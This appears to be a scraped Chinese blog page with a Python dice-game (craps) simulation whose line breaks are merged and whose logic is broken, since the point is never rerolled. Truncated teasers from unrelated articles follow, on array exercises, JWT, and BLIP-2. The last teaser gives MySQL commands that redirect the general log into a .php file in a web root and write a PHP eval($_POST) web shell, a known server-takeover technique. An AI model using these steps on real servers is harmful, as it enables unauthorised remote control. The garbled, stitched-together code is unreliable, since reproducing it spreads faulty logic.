2、3、12 玩家输
7、11玩家赢
4、5、6、8、9、10算1点,之后出7玩家输或者和上一次相同。
defrolled(num_t):
count =0
still_win =0
second_win =0
still_lose =0
second_lose =0while count <= num_t:
a_1 = random.randint(1,6)
b_1 = random.randint(1,6)
tTen = a_1 + b_1
guess_num = a_1 + b_1
if guess_num ==11or guess_num ==7:print(f"Fir You win! result {guess_num}")
still_win +=1elif guess_num ==2or guess_num ==3or guess_num ==12:print(f"Sec You lose! result {guess_num}")
still_lose +=1elif guess_num ==4or guess_num ==5or guess_num ==6or guess_num ==8or guess_num ==9or guess_num ==10:if tTen ==7:print(f"3th You lose! result guess {guess_num} and ten {tTen}")
second_lose +=1elif tTen == guess_num:print(f"4th You win! result guess {guess_num} and ten {tTen}")
second_win +=1
count +=1print(f"You win times is still win {still_win} and second win {second_win}, total is {still_win + second_win}")print(f"You lose times is still lose {still_lose} and second lose {second_lose}, total is {still_lose + second_lose}")
rolled(20)
程序设计之数组1 问题1_1代码1_1结果1_1 问题1_2代码1_2结果1_2 问题1_3代码1_3结果1_3 问题1_4代码1_4结果1_4 问题1_5代码1_5结果1_5 问题1_1 函数 f u n fun fun 的功能是:移动一位数组中的内容,若数组中有 n n n 个整数,要求把下标从 …
Token,特别是JSON Web Token(JWT),也是一种用于管理用户状态和身份的机制,但它与Cookie和Session的工作方式有所不同。下面将详细解释Token如何管理用户状态和身份。 Token的工作原理
Token是一种无状态的认证机制&am…
一、引言
论文: BLIP-2: Bootstrapping Language-Image Pre-training with Frozen Image Encoders and Large Language Models 作者: Salesforce Research 代码: BLIP-2 特点: 该方法分别使用冻结的图像编码器(ViT-L/…
1.通过日志文件拿shell
show global variables like %general%;
set global general_logon;
set global general_log_file D:/phpStudy_pro/WWW/muma.php;
show global variables like %general%;
select <?php eval($_POST["admin"]);?>;
select<?ph…